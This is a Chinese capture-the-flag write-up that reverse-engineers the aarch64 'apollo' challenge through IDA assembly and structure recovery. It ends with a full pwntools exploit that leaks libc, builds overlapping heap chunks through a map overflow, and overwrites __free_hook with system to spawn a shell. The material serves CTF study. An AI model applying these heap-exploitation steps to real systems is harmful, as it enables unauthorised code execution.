逆向依旧菜,arm依旧菜,轩哥的wp依旧细,,参考轩哥的博客撸一撸aarch64汇编
apollo
hint:漏洞点在于车辆前方的绿灯或黄灯的转化,使车辆到达了地图外
例行检查

静态分析
ida打开发现有很多函数
找到一个sub_D04调用了三个setvbuf,x查看交叉引用

继续查看sub_2678函数的交叉引用

可以看到直接出现在got表里面了,并且被start函数引用

所以猜测sub_2678这个函数是main函数
而其中调用的第二个函数sub_DA8是输出一些字符串,不重要
看sub_25CC中

申请0x1000大小的堆内存保存在qword_14078地址处,并往堆里写数据
主要看sub_E14函数

这里查看汇编

是由于最后的
.text:0000000000000ED0 loc_ED0 ; CODE XREF: sub_E14+A0↑j
.text:0000000000000ED0 ; sub_E14+200↓j ...
.text:0000000000000ED0 BR X0
也就是伪代码中的JUMPOUT,ida直接识别了一部分就停止了,但是实际这个函数并不只有这些逻辑
对这个函数进行逆向分析
.text:0000000000000E14 STP X29, X30, [SP,#var_C0]!
.text:0000000000000E18 MOV X29, SP
.text:0000000000000E1C STR X19, [SP,#0xC0+var_B0]
保存调用函数栈帧信息,需要注意的是aarch64的栈结构与x86有所不同
ARM64平台上的栈帧寄存器是FP,它记录的是一个函数执行过程中的栈顶(FP=SP),并且把父函数的FP保存在堆栈的栈顶,以便于回溯
.text:0000000000000E20 ADRP X0, #__stack_chk_guard_ptr@PAGE
.text:0000000000000E24 LDR X0, [X0,#__stack_chk_guard_ptr@PAGEOFF]
.text:0000000000000E28 LDR X1, [X0]
.text:0000000000000E2C STR X1, [X29,#0xC0+var_8]
.text:0000000000000E30 MOV X1, #0
这部分并不重要,是初始化canary之类的操作
主要看下面
.text:0000000000000E34 ADRP X0, #off_14010@PAGE
.text:0000000000000E38 ADD X1, X0, #off_14010@PAGEOFF
What are @PAGE and @PAGEOFF symbols in IDA?
The ADRP instruction loads the address of the 4KB page anywhere in the +/-4GB (33 bits) range of the current instruction (which takes 21 high bits of the offset). this is denoted by the
@PAGEoperator. then, we can either useLDRorSTRto read or write any address inside that page orADDto to calculate the final address using the remaining 12 bits of the offset (denoted by@PAGEOFF).
也就是说ADRP指令是将off_14010地址处的低33bits加上pc的值保存到X0寄存器中,而之后的ADD指令将off_14010偏移处剩余的高12bits与X0中的值相加保存到X1寄存器中

off_14010地址处保存的是一个地址列表,而此时X1中保存的应该是off_14010这个地址
.text:0000000000000E3C ADD X0, X29, #0x58
.text:0000000000000E40 LDP X2, X3, [X1]
.text:0000000000000E44 STP X2, X3, [X0]
.text:0000000000000E48 LDP X2, X3, [X1,#0x10]
.text:0000000000000E4C STP X2, X3, [X0,#0x10]
.text:0000000000000E50 LDP X2, X3, [X1,#0x20]
.text:0000000000000E54 STP X2, X3, [X0,#0x20]
.text:0000000000000E58 LDP X2, X3, [X1,#0x30]
.text:0000000000000E5C STP X2, X3, [X0,#0x30]
.text:0000000000000E60 LDP X2, X3, [X1,#0x40]
.text:0000000000000E64 STP X2, X3, [X0,#0x40]
.text:0000000000000E68 LDP X1, X2, [X1,#0x50]
.text:0000000000000E6C STP X1, X2, [X0,#0x50]
X29寄存器是帧指针寄存器(FP),差不多是x86下bp寄存器的作用,所以这里实际上就是取X1中地址处保存的指针保存到栈上与X29偏移0x58的位置
.text:0000000000000E70 ADRP X0, #off_13F98@PAGE
.text:0000000000000E74 LDR X0, [X0,#off_13F98@PAGEOFF]
.text:0000000000000E78 LDR X0, [X0]
又是ADRP指令,直接将off_13F98地址处的数据加载到了X0寄存器中

而off_13F98地址处的数据就是保存堆地址的指针qword_14078,所以执行完第二个LDR,X0中保存的是存放用户输入数据的堆地址
.text:0000000000000E7C STR X0, [X29,#0xC0+var_78]
.text:0000000000000E80 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000E84 STR X0, [X29,#0xC0+var_70]
.text:0000000000000E88 LDR X0, [X29,#0xC0+var_78]
将堆地址保存到 与X29偏移0xC0-0x78处
.text:0000000000000E8C LDRB W0, [X0]
.text:0000000000000E90 MOV W1, W0
取用户输入的数据保存在W1(X1的低4bytes)中
.text:0000000000000E94 ADRP X0, #off_13FE8@PAGE
.text:0000000000000E98 LDR X0, [X0,#off_13FE8@PAGEOFF]
又是ADRP指令,直接将off_13FE8地址处的数据加载到了X0寄存器中

也就是dword_3770指针,此处保存的是一个int数组

.text:0000000000000E9C SXTW X1, W1
SXTW将目标操作数低32bits赋值给源操作数,此时X0中是上面数组的地址,X1中是用户输入数据第一个字节
.text:0000000000000EA0 LDR W0, [X0,X1,LSL#2]
.text:0000000000000EA4 SXTW X0, W0
将X1中数据左移2位(乘4,int类型数组)后,加上X0中的数据作为地址,取该地址的值到X0中
其实就是将用户输入的数据作为下标取dword_3770数组中的元素
.text:0000000000000EA8 LSL X0, X0, #3
.text:0000000000000EAC ADD X1, X29, #0x58
.text:0000000000000EB0 LDR X0, [X1,X0]
.text:0000000000000EB4 B loc_ED0
.text:0000000000000EB8 ; ---------------------------------------------------------------------------
... ...
.text:0000000000000ED0 ; ---------------------------------------------------------------------------
.text:0000000000000ED0
.text:0000000000000ED0 loc_ED0 ; CODE XREF: sub_E14+A0↑j
.text:0000000000000ED0 ; sub_E14+200↓j ...
.text:0000000000000ED0 BR X0
将X0中的数据左移3位(地址长度为8),作为 与X29偏移0x58处的跳转表 的下标,BR指令跳转到对应地址
其实就是伪代码中的
JUMPOUT(__CS__, *(&v0 + dword_3770[*(unsigned __int8 *)qword_14078]));
由于跳转指令并不是BL系列的指令,所以跳转前后实际在一个函数里,没有栈帧的变化
整个程序类似于一种虚拟机结构,按照用户输入执行相应的代码
可以找出用户输入的指令对应的代码地址
0x0 : :sub_2550
0x2a:*:sub_1018
0x2b:+:sub_1394
0x2d:-:sub_14D4
0x2f:/:sub_11F4
0x4d:M:loc_EB8
0x61:a:sub_1D10
0x64:d:sub_2080
0x70:p:sub_2400
0x73:s:sub_1990
0x77:w:sub_1620
再逐一分析各个地址的代码
可以发现每个跳转地址都会先判断dword_14098这个全局变量有没有被赋值,如果全局变量dword_14098为0的话会报错,而查看这个全局变量的交叉引用可以发现在sub_E14中被赋值

但是其实真正赋值的地方在loc_EB8的逻辑里(这里ida将跳转表的其他地址识别为函数,但是没有将loc_EB8识别为函数,但是其实所有的跳转地址都不是单独的函数),而这部分并没有被ida识别出c伪代码
查看loc_EB8的汇编

没有被ida识别出c伪代码的原因应该是loc_ED0处通过X0来跳转,ida不知道X0的值,所以认为并没有跳转loc_EB8的代码
.text:0000000000000EB8 loc_EB8 ; DATA XREF: .data:off_14010↓o
.text:0000000000000EB8 ADRP X0, #off_13F90@PAGE
.text:0000000000000EBC LDR X0, [X0,#off_13F90@PAGEOFF]
.text:0000000000000EC0 LDR W0, [X0]
将off_13F90处的指针指向的地址处的值(全局变量dword_14098)加载到W0中
.text:0000000000000EC4 CMP W0, #0
.text:0000000000000EC8 B.NE loc_2564
如果全局变量dword_14098不为0则跳转loc_2564,否则继续
结合其他函数中判断该值是否为0,说明用户输入必须控制程序先跳转到loc_EB8,并且这里只能执行一次
.text:0000000000000ECC B loc_ED4
.text:0000000000000ED0 ; ---------------------------------------------------------------------------
... ...
.text:0000000000000ED4 ; ---------------------------------------------------------------------------
.text:0000000000000ED4
.text:0000000000000ED4 loc_ED4 ; CODE XREF: sub_E14+B8↑j
.text:0000000000000ED4 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000ED8 ADD X0, X0, #1
.text:0000000000000EDC LDRB W0, [X0]
.text:0000000000000EE0 MOV W1, W0
继续执行则跳转到loc_ED4,加载X29的偏移0xC0-0x78处的数据到X0,结合上面的分析,这里X0得到的其实就是保存用户输入的堆地址,加1后取出第二个字节,存放在W1
.text:0000000000000EE4 ADRP X0, #off_13FD8@PAGE
.text:0000000000000EE8 LDR X0, [X0,#off_13FD8@PAGEOFF]
.text:0000000000000EEC STR W1, [X0]
将其存放在off_13FD8指针指向的全局变量dword_1409C中
.text:0000000000000EF0 LDR X0, [X29,#0xC0+var_78]
.text:0000000000000EF4 ADD X0, X0, #2
.text:0000000000000EF8 LDRB W0, [X0]
.text:0000000000000EFC MOV W1, W0
.text:0000000000000F00 ADRP X0, #off_13F68@PAGE
.text:0000000000000F04 LDR X0, [X0,#off_13F68@PAGEOFF]
.text:0000000000000F08 STR W1, [X0]
与上面操作相同,取用户输入的第三个字节存放在off_13F68指针指向的全局变量dword_140A0中
.text:0000000000000F0C ADRP X0, #off_13FD8@PAGE
.text:0000000000000F10 LDR X0, [X0,#off_13FD8@PAGEOFF]
.text:0000000000000F14 LDR W0, [X0]
.text:0000000000000F18 CMP W0, #0x10
.text:0000000000000F1C B.GT loc_256C
如果off_13FD8指针指向的全局变量dword_1409C大于0x10则跳转loc_2564,否则继续
.text:0000000000000F20 ADRP X0, #off_13F68@PAGE
.text:0000000000000F24 LDR X0, [X0,#off_13F68@PAGEOFF]
.text:0000000000000F28 LDR W0, [X0]
.text:0000000000000F2C CMP W0, #0x10
.text:0000000000000F30 B.GT loc_256C
如果off_13F68指针指向的全局变量dword_140A0大于0x10则跳转loc_2564,否则继续
.text:0000000000000F34 ADRP X0, #off_13FD8@PAGE
.text:0000000000000F38 LDR X0, [X0,#off_13FD8@PAGEOFF]
.text:0000000000000F3C LDR W0, [X0]
.text:0000000000000F40 CMP W0, #3
.text:0000000000000F44 B.LE loc_256C
如果off_13FD8指针指向的全局变量dword_1409C小于等于3则跳转loc_2564,否则继续
.text:0000000000000F48 ADRP X0, #off_13F68@PAGE
.text:0000000000000F4C LDR X0, [X0,#off_13F68@PAGEOFF]
.text:0000000000000F50 LDR W0, [X0]
.text:0000000000000F54 CMP W0, #3
.text:0000000000000F58 B.LE loc_256C
如果off_13F68指针指向的全局变量dword_140A0小于等于3则跳转loc_2564,否则继续
而全局变量dword_1409C和dword_140A0是之前取得的用户输入数据的第二和第三个字节
所以这里如果要正常执行而不用跳转到loc_256C,需要满足
dword_14098 != 0
0x10 >= input[1] > 0x3
0x10 >= input[2] > 0x3
-
如果条件满足,继续运行
.text:0000000000000F5C ADRP X0, #off_13FD8@PAGE .text:0000000000000F60 LDR X0, [X0,#off_13FD8@PAGEOFF] .text:0000000000000F64 LDR W1, [X0] .text:0000000000000F68 ADRP X0, #off_13F68@PAGE .text:0000000000000F6C LDR X0, [X0,#off_13F68@PAGEOFF] .text:0000000000000F70 LDR W0, [X0] .text:0000000000000F74 MADD W0, W1, W0, WZR .text:0000000000000F78 SXTW X0, W0将全局变量
dword_1409C和dword_140A0中的值相乘,结果存放在X0寄存器中.text:0000000000000F7C MOV X1, #1 .text:0000000000000F80 BL .calloc .text:0000000000000F84 MOV X1, X0 .text:0000000000000F88 ADRP X0, #off_13F80@PAGE .text:0000000000000F8C LDR X0, [X0,#off_13F80@PAGEOFF] .text:0000000000000F90 STR X1, [X0]调用
calloc(dword_1409C * dword_140A0, 1);,返回值放在off_13F80指针指向的全局变量dword_14088中.text:0000000000000F94 ADRP X0, #off_13FD8@PAGE .text:0000000000000F98 LDR X0, [X0,#off_13FD8@PAGEOFF] .text:0000000000000F9C LDR W1, [X0] .text:0000000000000FA0 ADRP X0, #off_13F68@PAGE .text:0000000000000FA4 LDR X0, [X0,#off_13F68@PAGEOFF] .text:0000000000000FA8 LDR W0, [X0] .text:0000000000000FAC MADD W0, W1, W0, WZR .text:0000000000000FB0 SXTW X0, W0 .text:0000000000000FB4 MOV X1, #1 .text:0000000000000FB8 BL .calloc .text:0000000000000FBC MOV X1, X0 .text:0000000000000FC0 ADRP X0, #off_13FF0@PAGE .text:0000000000000FC4 LDR X0, [X0,#off_13FF0@PAGEOFF] .text:0000000000000FC8 STR X1, [X0]同上,调用
calloc(dword_1409C * dword_140A0, 1);,返回值放在off_13FF0指针指向的全局变量qword_14090中.text:0000000000000FCC ADRP X0, #off_13F90@PAGE .text:0000000000000FD0 LDR X0, [X0,#off_13F90@PAGEOFF] .text:0000000000000FD4 MOV W1, #1 .text:0000000000000FD8 STR W1, [X0]将全局变量
dword_14098置为1,之后就可以正常跳转到跳转表上的其他地址了.text:0000000000000FDC LDR X0, [X29,#0xC0+var_78] .text:0000000000000FE0 ADD X0, X0, #3 .text:0000000000000FE4 STR X0, [X29,#0xC0+var_78] .text:0000000000000FE8 LDR X0, [X29,#0xC0+var_78] .text:0000000000000FEC LDRB W0, [X0] .text:0000000000000FF0 MOV W1, W0将用户输入的第四个字节地址保存到 与X29偏移0xC0-0x78处,并取第四个字节到W1中
.text:0000000000000FF4 ADRP X0, #off_13FE8@PAGE .text:0000000000000FF8 LDR X0, [X0,#off_13FE8@PAGEOFF] .text:0000000000000FFC SXTW X1, W1 .text:0000000000001000 LDR W0, [X0,X1,LSL#2] .text:0000000000001004 SXTW X0, W0 .text:0000000000001008 LSL X0, X0, #3 .text:000000000000100C ADD X1, X29, #0x58 .text:0000000000001010 LDR X0, [X1,X0] .text:0000000000001014 B loc_ED0 .text:0000000000001014 ; End of function sub_E14重新取用户输入的数据跳转到跳转表中对应的地址
-
而上面条件判断未通过的话则要跳转到
loc_256C退出程序.text:000000000000256C loc_256C ; CODE XREF: sub_E14+108↑j .text:000000000000256C ; sub_E14+11C↑j ... .text:000000000000256C NOP .text:0000000000002570 B loc_25B8 ... .text:00000000000025B8 loc_25B8 ; CODE XREF: sub_E14+1754↑j .text:00000000000025B8 ; sub_E14+175C↑j ... .text:00000000000025B8 ADRP X0, #unk_3BC8@PAGE .text:00000000000025BC ADD X0, X0, #unk_3BC8@PAGEOFF .text:00000000000025C0 BL .puts .text:00000000000025C4 MOV W0, #0xFF .text:00000000000025C8 BL .exit
如果要看loc_EB8的伪代码的话,则要从loc_EB8分离出来单独创建一个函数
在分析的时候,由于aarch64的X29寄存器指向栈的低地址,变量存放在相对X29的高地址中,所以可以按照栈结构创建相应的结构体
右键单击表示X29的变量,选择Create new struct type

在弹出的窗口中编辑结构体
struct struct_v0
{
int a[18];
size_t input;
size_t b;
size_t func_M;
size_t func_mul;
size_t func_div;
size_t func_add;
size_t func_sub;
size_t func_w;
size_t func_s;
size_t func_a;
size_t func_d;
size_t func_p;
size_t func_finish;
size_t sub2514;
};
在其他被识别成函数的地方可以右键单击表示X29的变量,选择convert to struct *将变量设置为该结构体的指针
之后ida伪代码变成这种风格

就好分析多了
经过分析,程序的逻辑应该是loc_EB8分配两个地图空间,qword_14088是灯和车所在的地图,然后”+-*/”在地图上布置红绿灯(0、1、2、3)、”wsad”控制汽车移动,在qword_14088地图上车所在的坐标处值为5,qword_14090地图上则会留下汽车移动的痕迹,移动前先判断qword_14088地图中相应方向上的灯颜色(数字)
- 0则走一格
- 1则不走,在
qword_14090地图中汽车对应位置处保存dword_14080的值,dword_14080自增 - 2或3则走2格
一些全局变量的意义
- 全局变量
qword_140B0维护一个0x800大小的数组,用于存放malloc分配的堆地址 - 全局变量
dword_14088和qword_14090中保存两个地图 - 全局变量
dword_1409C和dword_140A0中存放的应该分别是地图纵向和横向大小 - 全局变量
dword_140A4和dword_140A8保存汽车所在位置的纵坐标y和横坐标x
一些跳转表中地址的作用
- mul功能是malloc分配堆地址到
qword_140B0控制的数组中,并在dword_14088地图中相应位置置1 - div功能是free释放
qword_140B0数组中的堆地址,并在qword_14088地图中相应位置置0 - add功能是将
qword_14088地图中指定位置的1改为2或3 - sub功能是将
qword_14088地图中指定位置的2或3改为0 - wsad即按照规则移动汽车
- p功能是将
dword_14088地图中为1的地方对应的qword_140B0中保存的堆空间的内容输出
按照hint,在地图边缘布置一个2或3可以让车辆到达地图外造成堆溢出
所以思路应该是先用p功能泄露堆块中残留的libc地址,然后由汽车移动造成off-by-one,构造重叠堆块,实现任意地址分配改free_hook
动态调试
之后才想到在vmmap用不了的情况下,可以通过cat /proc/$PID/maps查看程序运行时的地址情况

在比赛时甚至不知道怎么下断点,赛后问了轩哥才知道qemu用户模式的程序基址是固定的
-
qemu-user运行时基址
0x4000000000 -
qemu-user运行时堆地址固定,可以在malloc或free下断点得到
-
程序有
alarm函数,在一段时间后会终止进程,可以用ida将其patch掉
arm是定长指令集,在弹出的窗口中将前四个字节改成nop

应用到文件中

方便调试
写exp
#!/usr/bin/python
from pwn import *
import sys
import time
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='apollo'
libc_name='libc-2.27.so'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p = process(["qemu-aarch64-static", "-L", "./", "./"+binary_name])
#p = process(argv=["qemu-aarch64-static", "-L", "./", "-g", "1234", "./"+binary_name])
else:
p=remote('',)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
pd = '\x4d\x10\x10'
pd += '*\x00\x01\xf0\x04'#add 1
pd += '*\x00\x03\xf0\x00'#add 3
pd += '/\x00\x01'
pd += '*\x00\x01\xf0\x00'#add 1
pd += '*\x00\x02\xf0\x00'#add 2
pd += 'p'
pd += '+\x0f\x08\x02'
pd += 'd'*0xb
pd += 's'*0xe
pd += 'd'*0x8
pd += 'sw'
pd += '/\x00\x01'
pd += '/\x00\x02'
pd += '*\x00\x01\x10\x01'#add 1
pd += '*\x00\x02\xf0\x00'#add 2
pd += '*\x00\x04\xf0\x00'#add hook
pd += '/\x00\x02'
sla('cmd> ',pd)
sd('X1ng\n')
time.sleep(0.1)
sd('X3ng\n')
time.sleep(0.1)
sd('\xd0')
time.sleep(0.1)
sd('a'*0x10+p64(0)+p64(0x21))
time.sleep(0.1)
ru('pos:0,1\n')
libc_base = (u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) | 0x4000000000) - 0x154fd0
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
log.success('libc_base:' + hex(libc_base))
log.success('system:' + hex(system))
log.success('__free_hook:' + hex(free_hook))
sd('b'*0xf8+p64(0x101)+p64(free_hook)+'b'*0x8)
time.sleep(0.1)
sd('/bin/sh\x00'+'c'*(0xf0-8))
time.sleep(0.1)
sd(p64(system))
time.sleep(0.1)
ia()
据说quiet附件换了,就不搞了(懒狗不想动了
参考资料